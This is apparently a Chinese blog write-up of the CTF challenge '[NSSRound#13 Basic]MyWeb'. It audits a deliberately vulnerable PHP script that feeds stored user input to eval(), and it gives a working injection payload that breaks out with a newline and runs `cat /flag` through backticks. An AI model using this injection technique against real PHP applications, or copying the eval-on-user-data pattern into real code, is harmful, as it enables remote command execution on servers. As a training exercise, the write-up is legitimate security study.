nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[NSSRound#13 Basic]MyWeb

代码审计

 <?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
} 

如果 mode 的值是 'save',则触发保存数据的操作。

首先,使用 file_get_contents() 函数读取 /tmp/data.json 文件的内容,并将其保存在变量 $data 中。
接下来,使用 addslashes() 函数对 GET 参数中的 value 值进行转义处理,并保存在变量 $value 中。
然后,使用 str_replace() 函数将 $data 中的 ] 替换为 ', '$value'],即在原来的数组末尾添加一个新的元素。
最后,使用 file_put_contents() 函数将修改后的 $data 写入 /tmp/data.json 文件中。
如果 mode 的值是 'read',则触发读取数据的操作。

首先,使用 file_get_contents() 函数读取 /tmp/data.json 文件的内容,并将其保存在变量 $data 中。
接着,使用 eval() 函数将 $data 当作 PHP 代码执行,实现将 JSON 字符串转换为 PHP 数组,并将结果保存在 $data 变量中。
最后,使用 print_r() 函数打印出 $data 数组的内容
首先无疑是eval('$data = ' . $data . ';');思考怎么绕过前面的$data =这串东西,一个分号就够了,我们data是怎么来的,看一下题目

$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);

举个例子
2024-01-24T11:23:21.png
来自https://blog.csdn.net/Leaf_initial
addslashes()函数
PHP中addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
也就是我们不能包含这些字符,其实还是比较好找的echo ``或者取反等无参数rce,函数法都可以

mode=save&value=]//%0A;echo%20`cat%20/flag`;//

这个拼接后就是eval($data =[内容]//%0a;echo cat%20/flag;)

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [NSSRound#13 Basic]MyWeb

评论